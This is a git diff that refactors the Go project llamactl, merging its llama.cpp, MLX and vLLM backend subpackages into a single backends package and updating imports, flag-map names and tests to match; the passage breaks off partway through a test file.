diff --git a/pkg/backends/backend.go b/pkg/backends/backend.go
index 802fec2..1dcb87c 100644
--- a/pkg/backends/backend.go
+++ b/pkg/backends/backend.go
@@ -8,3 +8,15 @@ const (
 	BackendTypeVllm     BackendType = "vllm"
 	// BackendTypeMlxVlm BackendType = "mlx_vlm"  // Future expansion
 )
+
+type Options struct {
+	BackendType    BackendType    `json:"backend_type"`
+	BackendOptions map[string]any `json:"backend_options,omitempty"`
+
+	Nodes map[string]struct{} `json:"-"`
+
+	// Backend-specific options
+	LlamaServerOptions *LlamaServerOptions `json:"-"`
+	MlxServerOptions   *MlxServerOptions   `json:"-"`
+	VllmServerOptions  *VllmServerOptions  `json:"-"`
+}
diff --git a/pkg/backends/llamacpp/llama.go b/pkg/backends/llama.go
similarity index 97%
rename from pkg/backends/llamacpp/llama.go
rename to pkg/backends/llama.go
index bca29e8..da4a42a 100644
--- a/pkg/backends/llamacpp/llama.go
+++ b/pkg/backends/llama.go
@@ -1,15 +1,14 @@
-package llamacpp
+package backends
 
 import (
 	"encoding/json"
-	"llamactl/pkg/backends"
 	"reflect"
 	"strconv"
 )
 
-// multiValuedFlags defines flags that should be repeated for each value rather than comma-separated
+// llamaMultiValuedFlags defines flags that should be repeated for each value rather than comma-separated
 // Used for both parsing (with underscores) and building (with dashes)
-var multiValuedFlags = map[string]bool{
+var llamaMultiValuedFlags = map[string]bool{
 	// Parsing keys (with underscores)
 	"override_tensor":       true,
 	"override_kv":           true,
@@ -338,8 +337,8 @@ func (o *LlamaServerOptions) UnmarshalJSON(data []byte) error {
 // BuildCommandArgs converts InstanceOptions to command line arguments
 func (o *LlamaServerOptions) BuildCommandArgs() []string {
 	// Llama uses multiple flags for arrays by default (not comma-separated)
-	// Use package-level multiValuedFlags variable
-	return backends.BuildCommandArgs(o, multiValuedFlags)
+	// Use package-level llamaMultiValuedFlags variable
+	return BuildCommandArgs(o, llamaMultiValuedFlags)
 }
 
 func (o *LlamaServerOptions) BuildDockerArgs() []string {
@@ -356,10 +355,10 @@ func (o *LlamaServerOptions) BuildDockerArgs() []string {
 func ParseLlamaCommand(command string) (*LlamaServerOptions, error) {
 	executableNames := []string{"llama-server"}
 	var subcommandNames []string // Llama has no subcommands
-	// Use package-level multiValuedFlags variable
+	// Use package-level llamaMultiValuedFlags variable
 
 	var llamaOptions LlamaServerOptions
-	if err := backends.ParseCommand(command, executableNames, subcommandNames, multiValuedFlags, &llamaOptions); err != nil {
+	if err := ParseCommand(command, executableNames, subcommandNames, llamaMultiValuedFlags, &llamaOptions); err != nil {
 		return nil, err
 	}
 
diff --git a/pkg/backends/llamacpp/llama_test.go b/pkg/backends/llama_test.go
similarity index 85%
rename from pkg/backends/llamacpp/llama_test.go
rename to pkg/backends/llama_test.go
index c779320..63fe533 100644
--- a/pkg/backends/llamacpp/llama_test.go
+++ b/pkg/backends/llama_test.go
@@ -1,16 +1,16 @@
-package llamacpp_test
+package backends_test
 
 import (
 	"encoding/json"
 	"fmt"
-	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/backends"
 	"reflect"
 	"slices"
 	"testing"
 )
 
-func TestBuildCommandArgs_BasicFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_BasicFields(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Model:     "/path/to/model.gguf",
 		Port:      8080,
 		Host:      "localhost",
@@ -42,30 +42,30 @@ func TestBuildCommandArgs_BasicFields(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_BooleanFields(t *testing.T) {
+func TestLlamaCppBuildCommandArgs_BooleanFields(t *testing.T) {
 	tests := []struct {
 		name     string
-		options  llamacpp.LlamaServerOptions
+		options  backends.LlamaServerOptions
 		expected []string
 		excluded []string
 	}{
 		{
 			name: "verbose true",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose: true,
 			},
 			expected: []string{"--verbose"},
 		},
 		{
 			name: "verbose false",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose: false,
 			},
 			excluded: []string{"--verbose"},
 		},
 		{
 			name: "multiple booleans",
-			options: llamacpp.LlamaServerOptions{
+			options: backends.LlamaServerOptions{
 				Verbose:   true,
 				FlashAttn: true,
 				Mlock:     false,
@@ -95,8 +95,8 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_NumericFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_NumericFields(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Port:        8080,
 		Threads:     4,
 		CtxSize:     2048,
@@ -125,8 +125,8 @@ func TestBuildCommandArgs_NumericFields(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_ZeroValues(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_ZeroValues(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Port:        0,     // Should be excluded
 		Threads:     0,     // Should be excluded
 		Temperature: 0,     // Should be excluded
@@ -152,8 +152,8 @@ func TestBuildCommandArgs_ZeroValues(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_ArrayFields(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_ArrayFields(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Lora:               []string{"adapter1.bin", "adapter2.bin"},
 		OverrideTensor:     []string{"tensor1", "tensor2", "tensor3"},
 		DrySequenceBreaker: []string{".", "!", "?"},
@@ -177,8 +177,8 @@ func TestBuildCommandArgs_ArrayFields(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
-	options := llamacpp.LlamaServerOptions{
+func TestLlamaCppBuildCommandArgs_EmptyArrays(t *testing.T) {
+	options := backends.LlamaServerOptions{
 		Lora:           []string{}, // Empty array should not generate args
 		OverrideTensor: []string{}, // Empty array should not generate args
 	}
@@ -193,9 +193,9 @@ func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs_FieldNameConversion(t *testing.T) {
+func TestLlamaCppBuildCommandArgs_FieldNameConversion(t *testing.T) {
 	// Test snake_case to kebab-case conversion
-	options := llamacpp.LlamaServerOptions{
+	options := backends.LlamaServerOptions{
 		CtxSize:      4096,
 		GPULayers:    32,
 		ThreadsBatch: 2,
@@ -223,7 +223,7 @@ func TestBuildCommandArgs_FieldNameConversion(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_StandardFields(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_StandardFields(t *testing.T) {
 	jsonData := `{
 		"model": "/path/to/model.gguf",
 		"port": 8080,
@@ -234,7 +234,7 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
 		"temp": 0.7
 	}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)
@@ -263,16 +263,16 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 	tests := []struct {
 		name     string
 		jsonData string
-		checkFn  func(llamacpp.LlamaServerOptions) error
+		checkFn  func(backends.LlamaServerOptions) error
 	}{
 		{
 			name:     "threads alternatives",
 			jsonData: `{"t": 4, "tb": 2}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Threads != 4 {
 					return fmt.Errorf("expected threads 4, got %d", opts.Threads)
 				}
@@ -285,7 +285,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "context size alternatives",
 			jsonData: `{"c": 2048}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.CtxSize != 2048 {
 					return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize)
 				}
@@ -295,7 +295,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "gpu layers alternatives",
 			jsonData: `{"ngl": 16}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.GPULayers != 16 {
 					return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
 				}
@@ -305,7 +305,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "model alternatives",
 			jsonData: `{"m": "/path/model.gguf"}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Model != "/path/model.gguf" {
 					return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model)
 				}
@@ -315,7 +315,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "temperature alternatives",
 			jsonData: `{"temp": 0.8}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Temperature != 0.8 {
 					return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature)
 				}
@@ -326,7 +326,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			var options llamacpp.LlamaServerOptions
+			var options backends.LlamaServerOptions
 			err := json.Unmarshal([]byte(tt.jsonData), &options)
 			if err != nil {
 				t.Fatalf("Unmarshal failed: %v", err)
@@ -339,24 +339,24 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_InvalidJSON(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_InvalidJSON(t *testing.T) {
 	invalidJSON := `{"port": "not-a-number", "invalid": syntax}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(invalidJSON), &options)
 	if err == nil {
 		t.Error("Expected error for invalid JSON")
 	}
 }
 
-func TestUnmarshalJSON_ArrayFields(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_ArrayFields(t *testing.T) {
 	jsonData := `{
 		"lora": ["adapter1.bin", "adapter2.bin"],
 		"override_tensor": ["tensor1", "tensor2"],
 		"dry_sequence_breaker": [".", "!", "?"]
 	}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)
@@ -423,7 +423,7 @@ func TestParseLlamaCommand(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			result, err := llamacpp.ParseLlamaCommand(tt.command)
+			result, err := backends.ParseLlamaCommand(tt.command)
 
 			if tt.expectErr {
 				if err == nil {
@@ -446,7 +446,7 @@ func TestParseLlamaCommand(t *testing.T) {
 
 func TestParseLlamaCommandValues(t *testing.T) {
 	command := "llama-server --model /test/model.gguf --gpu-layers 32 --temp 0.7 --verbose --no-mmap"
-	result, err := llamacpp.ParseLlamaCommand(command)
+	result, err := backends.ParseLlamaCommand(command)
 
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -475,7 +475,7 @@ func TestParseLlamaCommandValues(t *testing.T) {
 
 func TestParseLlamaCommandArrays(t *testing.T) {
 	command := "llama-server --model test.gguf --lora adapter1.bin --lora=adapter2.bin"
-	result, err := llamacpp.ParseLlamaCommand(command)
+	result, err := backends.ParseLlamaCommand(command)
 
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
diff --git a/pkg/backends/mlx/mlx.go b/pkg/backends/mlx.go
similarity index 89%
rename from pkg/backends/mlx/mlx.go
rename to pkg/backends/mlx.go
index 3b83681..66ab1fa 100644
--- a/pkg/backends/mlx/mlx.go
+++ b/pkg/backends/mlx.go
@@ -1,8 +1,4 @@
-package mlx
-
-import (
-	"llamactl/pkg/backends"
-)
+package backends
 
 type MlxServerOptions struct {
 	// Basic connection options
@@ -33,7 +29,7 @@ type MlxServerOptions struct {
 // BuildCommandArgs converts to command line arguments
 func (o *MlxServerOptions) BuildCommandArgs() []string {
 	multipleFlags := map[string]bool{} // MLX doesn't currently have []string fields
-	return backends.BuildCommandArgs(o, multipleFlags)
+	return BuildCommandArgs(o, multipleFlags)
 }
 
 // ParseMlxCommand parses a mlx_lm.server command string into MlxServerOptions
@@ -48,7 +44,7 @@ func ParseMlxCommand(command string) (*MlxServerOptions, error) {
 	multiValuedFlags := map[string]bool{} // MLX has no multi-valued flags
 
 	var mlxOptions MlxServerOptions
-	if err := backends.ParseCommand(command, executableNames, subcommandNames, multiValuedFlags, &mlxOptions); err != nil {
+	if err := ParseCommand(command, executableNames, subcommandNames, multiValuedFlags, &mlxOptions); err != nil {
 		return nil, err
 	}
 
diff --git a/pkg/backends/mlx/mlx_test.go b/pkg/backends/mlx_test.go
similarity index 93%
rename from pkg/backends/mlx/mlx_test.go
rename to pkg/backends/mlx_test.go
index 8baeb5c..4a4c43a 100644
--- a/pkg/backends/mlx/mlx_test.go
+++ b/pkg/backends/mlx_test.go
@@ -1,7 +1,7 @@
-package mlx_test
+package backends_test
 
 import (
-	"llamactl/pkg/backends/mlx"
+	"llamactl/pkg/backends"
 	"testing"
 )
 
@@ -50,7 +50,7 @@ func TestParseMlxCommand(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			result, err := mlx.ParseMlxCommand(tt.command)
+			result, err := backends.ParseMlxCommand(tt.command)
 
 			if tt.expectErr {
 				if err == nil {
@@ -73,7 +73,7 @@ func TestParseMlxCommand(t *testing.T) {
 
 func TestParseMlxCommandValues(t *testing.T) {
 	command := "mlx_lm.server --model /test/model.mlx --port 8080 --temp 0.7 --trust-remote-code --log-level DEBUG"
-	result, err := mlx.ParseMlxCommand(command)
+	result, err := backends.ParseMlxCommand(command)
 
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -100,8 +100,8 @@ func TestParseMlxCommandValues(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs(t *testing.T) {
-	options := &mlx.MlxServerOptions{
+func TestMlxBuildCommandArgs(t *testing.T) {
+	options := &backends.MlxServerOptions{
 		Model:           "/test/model.mlx",
 		Host:            "127.0.0.1",
 		Port:            8080,
diff --git a/pkg/backends/vllm/vllm.go b/pkg/backends/vllm.go
similarity index 95%
rename from pkg/backends/vllm/vllm.go
rename to pkg/backends/vllm.go
index d4fee25..047aca8 100644
--- a/pkg/backends/vllm/vllm.go
+++ b/pkg/backends/vllm.go
@@ -1,11 +1,7 @@
-package vllm
+package backends
 
-import (
-	"llamactl/pkg/backends"
-)
-
-// multiValuedFlags defines flags that should be repeated for each value rather than comma-separated
-var multiValuedFlags = map[string]bool{
+// vllmMultiValuedFlags defines flags that should be repeated for each value rather than comma-separated
+var vllmMultiValuedFlags = map[string]bool{
 	"api-key":         true,
 	"allowed-origins": true,
 	"allowed-methods": true,
@@ -155,7 +151,7 @@ func (o *VllmServerOptions) BuildCommandArgs() []string {
 
 	// Use package-level multipleFlags variable
 
-	flagArgs := backends.BuildCommandArgs(&optionsCopy, multiValuedFlags)
+	flagArgs := BuildCommandArgs(&optionsCopy, vllmMultiValuedFlags)
 	args = append(args, flagArgs...)
 
 	return args
@@ -165,7 +161,7 @@ func (o *VllmServerOptions) BuildDockerArgs() []string {
 	var args []string
 
 	// Use package-level multipleFlags variable
-	flagArgs := backends.BuildCommandArgs(o, multiValuedFlags)
+	flagArgs := BuildCommandArgs(o, vllmMultiValuedFlags)
 	args = append(args, flagArgs...)
 
 	return args
@@ -192,7 +188,7 @@ func ParseVllmCommand(command string) (*VllmServerOptions, error) {
 	}
 
 	var vllmOptions VllmServerOptions
-	if err := backends.ParseCommand(command, executableNames, subcommandNames, multiValuedFlags, &vllmOptions); err != nil {
+	if err := ParseCommand(command, executableNames, subcommandNames, multiValuedFlags, &vllmOptions); err != nil {
 		return nil, err
 	}
 
diff --git a/pkg/backends/vllm/vllm_test.go b/pkg/backends/vllm_test.go
similarity index 86%
rename from pkg/backends/vllm/vllm_test.go
rename to pkg/backends/vllm_test.go
index ea13496..0133e37 100644
--- a/pkg/backends/vllm/vllm_test.go
+++ b/pkg/backends/vllm_test.go
@@ -1,8 +1,7 @@
-package vllm_test
+package backends_test
 
 import (
-	"llamactl/pkg/backends/vllm"
-	"slices"
+	"llamactl/pkg/backends"
 	"testing"
 )
 
@@ -46,7 +45,7 @@ func TestParseVllmCommand(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			result, err := vllm.ParseVllmCommand(tt.command)
+			result, err := backends.ParseVllmCommand(tt.command)
 
 			if tt.expectErr {
 				if err == nil {
@@ -69,7 +68,7 @@ func TestParseVllmCommand(t *testing.T) {
 
 func TestParseVllmCommandValues(t *testing.T) {
 	command := "vllm serve test-model --tensor-parallel-size 4 --gpu-memory-utilization 0.8 --enable-log-outputs"
-	result, err := vllm.ParseVllmCommand(command)
+	result, err := backends.ParseVllmCommand(command)
 
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -89,8 +88,8 @@ func TestParseVllmCommandValues(t *testing.T) {
 	}
 }
 
-func TestBuildCommandArgs(t *testing.T) {
-	options := vllm.VllmServerOptions{
+func TestVllmBuildCommandArgs(t *testing.T) {
+	options := backends.VllmServerOptions{
 		Model:                "microsoft/DialoGPT-medium",
 		Port:                 8080,
 		Host:                 "localhost",
@@ -137,17 +136,3 @@ func TestBuildCommandArgs(t *testing.T) {
 		t.Errorf("Expected 2 --allowed-origins flags, got %d", allowedOriginsCount)
 	}
 }
-
-// Helper functions
-func contains(slice []string, item string) bool {
-	return slices.Contains(slice, item)
-}
-
-func containsFlagWithValue(args []string, flag, value string) bool {
-	for i, arg := range args {
-		if arg == flag && i+1 < len(args) && args[i+1] == value {
-			return true
-		}
-	}
-	return false
-}
diff --git a/pkg/instance/instance_test.go b/pkg/instance/instance_test.go
index 375c210..7c88741 100644
--- a/pkg/instance/instance_test.go
+++ b/pkg/instance/instance_test.go
@@ -3,7 +3,6 @@ package instance_test
 import (
 	"encoding/json"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/testutil"
@@ -36,7 +35,7 @@ func TestNewInstance(t *testing.T) {
 
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -108,7 +107,7 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
 		MaxRestarts:  &maxRestarts,
 		RestartDelay: &restartDelay,
 		BackendType:  backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -156,7 +155,7 @@ func TestSetOptions(t *testing.T) {
 
 	initialOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -170,7 +169,7 @@ func TestSetOptions(t *testing.T) {
 	// Update options
 	newOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/new-model.gguf",
 			Port:  8081,
 		},
@@ -211,7 +210,7 @@ func TestSetOptions_PreservesNodes(t *testing.T) {
 	initialOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
 		Nodes:       map[string]struct{}{"worker1": {}},
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -224,7 +223,7 @@ func TestSetOptions_PreservesNodes(t *testing.T) {
 	updatedOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
 		Nodes:       map[string]struct{}{"worker2": {}}, // Attempt to change node
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/new-model.gguf",
 			Port:  8081,
 		},
@@ -266,7 +265,7 @@ func TestGetProxy(t *testing.T) {
 
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Host: "localhost",
 			Port: 8080,
 		},
@@ -321,7 +320,7 @@ func TestMarshalJSON(t *testing.T) {
 
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -491,7 +490,7 @@ func TestCreateOptionsValidation(t *testing.T) {
 				MaxRestarts:  tt.maxRestarts,
 				RestartDelay: tt.restartDelay,
 				BackendType:  backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: "/path/to/model.gguf",
 				},
 			}
@@ -524,7 +523,7 @@ func TestStatusChangeCallback(t *testing.T) {
 	globalSettings := &config.InstancesConfig{LogsDir: "/tmp/test"}
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -590,7 +589,7 @@ func TestSetOptions_NodesPreserved(t *testing.T) {
 			options := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
 				Nodes:       tt.initialNodes,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: "/path/to/model.gguf",
 				},
 			}
@@ -601,7 +600,7 @@ func TestSetOptions_NodesPreserved(t *testing.T) {
 			updateOptions := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
 				Nodes:       tt.updateNodes,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: "/path/to/new-model.gguf",
 				},
 			}
@@ -634,7 +633,7 @@ func TestProcessErrorCases(t *testing.T) {
 	globalSettings := &config.InstancesConfig{LogsDir: "/tmp/test"}
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -665,7 +664,7 @@ func TestRemoteInstanceOperations(t *testing.T) {
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
 		Nodes:       map[string]struct{}{"remote-node": {}}, // Remote instance
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -709,7 +708,7 @@ func TestProxyClearOnOptionsChange(t *testing.T) {
 	globalSettings := &config.InstancesConfig{LogsDir: "/tmp/test"}
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Host: "localhost",
 			Port: 8080,
 		},
@@ -726,7 +725,7 @@ func TestProxyClearOnOptionsChange(t *testing.T) {
 	// Update options (should clear proxy)
 	newOptions := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Host: "localhost",
 			Port: 8081, // Different port
 		},
@@ -756,7 +755,7 @@ func TestIdleTimeout(t *testing.T) {
 		inst := instance.New("test", backendConfig, globalSettings, &instance.Options{
 			BackendType: backends.BackendTypeLlamaCpp,
 			IdleTimeout: &timeout,
-			LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			LlamaServerOptions: &backends.LlamaServerOptions{
 				Model: "/path/to/model.gguf",
 			},
 		}, "main", nil)
@@ -770,7 +769,7 @@ func TestIdleTimeout(t *testing.T) {
 		inst := instance.New("test", backendConfig, globalSettings, &instance.Options{
 			BackendType: backends.BackendTypeLlamaCpp,
 			IdleTimeout: nil, // No timeout
-			LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			LlamaServerOptions: &backends.LlamaServerOptions{
 				Model: "/path/to/model.gguf",
 			},
 		}, "main", nil)
@@ -786,7 +785,7 @@ func TestIdleTimeout(t *testing.T) {
 		inst := instance.New("test", backendConfig, globalSettings, &instance.Options{
 			BackendType: backends.BackendTypeLlamaCpp,
 			IdleTimeout: &timeout,
-			LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			LlamaServerOptions: &backends.LlamaServerOptions{
 				Model: "/path/to/model.gguf",
 			},
 		}, "main", nil)
diff --git a/pkg/instance/options.go b/pkg/instance/options.go
index 1dddb15..d53ec09 100644
--- a/pkg/instance/options.go
+++ b/pkg/instance/options.go
@@ -4,9 +4,6 @@ import (
 	"encoding/json"
 	"fmt"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
-	"llamactl/pkg/backends/mlx"
-	"llamactl/pkg/backends/vllm"
 	"llamactl/pkg/config"
 	"log"
 	"maps"
@@ -33,9 +30,9 @@ type Options struct {
 	Nodes map[string]struct{} `json:"-"`
 
 	// Backend-specific options
-	LlamaServerOptions *llamacpp.LlamaServerOptions `json:"-"`
-	MlxServerOptions   *mlx.MlxServerOptions        `json:"-"`
-	VllmServerOptions  *vllm.VllmServerOptions      `json:"-"`
+	LlamaServerOptions *backends.LlamaServerOptions `json:"-"`
+	MlxServerOptions   *backends.MlxServerOptions   `json:"-"`
+	VllmServerOptions  *backends.VllmServerOptions  `json:"-"`
 }
 
 // options wraps Options with thread-safe access (unexported).
@@ -116,7 +113,7 @@ func (c *Options) UnmarshalJSON(data []byte) error {
 				return fmt.Errorf("failed to marshal backend options: %w", err)
 			}
 
-			c.LlamaServerOptions = &llamacpp.LlamaServerOptions{}
+			c.LlamaServerOptions = &backends.LlamaServerOptions{}
 			if err := json.Unmarshal(optionsData, c.LlamaServerOptions); err != nil {
 				return fmt.Errorf("failed to unmarshal llama.cpp options: %w", err)
 			}
@@ -128,7 +125,7 @@ func (c *Options) UnmarshalJSON(data []byte) error {
 				return fmt.Errorf("failed to marshal backend options: %w", err)
 			}
 
-			c.MlxServerOptions = &mlx.MlxServerOptions{}
+			c.MlxServerOptions = &backends.MlxServerOptions{}
 			if err := json.Unmarshal(optionsData, c.MlxServerOptions); err != nil {
 				return fmt.Errorf("failed to unmarshal MLX options: %w", err)
 			}
@@ -140,7 +137,7 @@ func (c *Options) UnmarshalJSON(data []byte) error {
 				return fmt.Errorf("failed to marshal backend options: %w", err)
 			}
 
-			c.VllmServerOptions = &vllm.VllmServerOptions{}
+			c.VllmServerOptions = &backends.VllmServerOptions{}
 			if err := json.Unmarshal(optionsData, c.VllmServerOptions); err != nil {
 				return fmt.Errorf("failed to unmarshal vLLM options: %w", err)
 			}
diff --git a/pkg/manager/manager_test.go b/pkg/manager/manager_test.go
index 531e9e2..77ac409 100644
--- a/pkg/manager/manager_test.go
+++ b/pkg/manager/manager_test.go
@@ -3,7 +3,6 @@ package manager_test
 import (
 	"fmt"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
@@ -72,7 +71,7 @@ func TestPersistence(t *testing.T) {
 	manager1 := manager.NewInstanceManager(backendConfig, cfg, map[string]config.NodeConfig{}, "main")
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 			Port:  8080,
 		},
@@ -134,7 +133,7 @@ func TestConcurrentAccess(t *testing.T) {
 			defer wg.Done()
 			options := &instance.Options{
 				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+				LlamaServerOptions: &backends.LlamaServerOptions{
 					Model: "/path/to/model.gguf",
 				},
 			}
@@ -171,7 +170,7 @@ func TestShutdown(t *testing.T) {
 	// Create test instance
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
 		},
 	}
@@ -233,7 +232,7 @@ func TestAutoRestartDisabledInstanceStatus(t *testing.T) {
 	options := &instance.Options{
 		BackendType: backends.BackendTypeLlamaCpp,
 		AutoRestart: &autoRestart,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+		LlamaServerOptions: &backends.LlamaServerOptions{
 			Model: "/path/to/model.gguf",
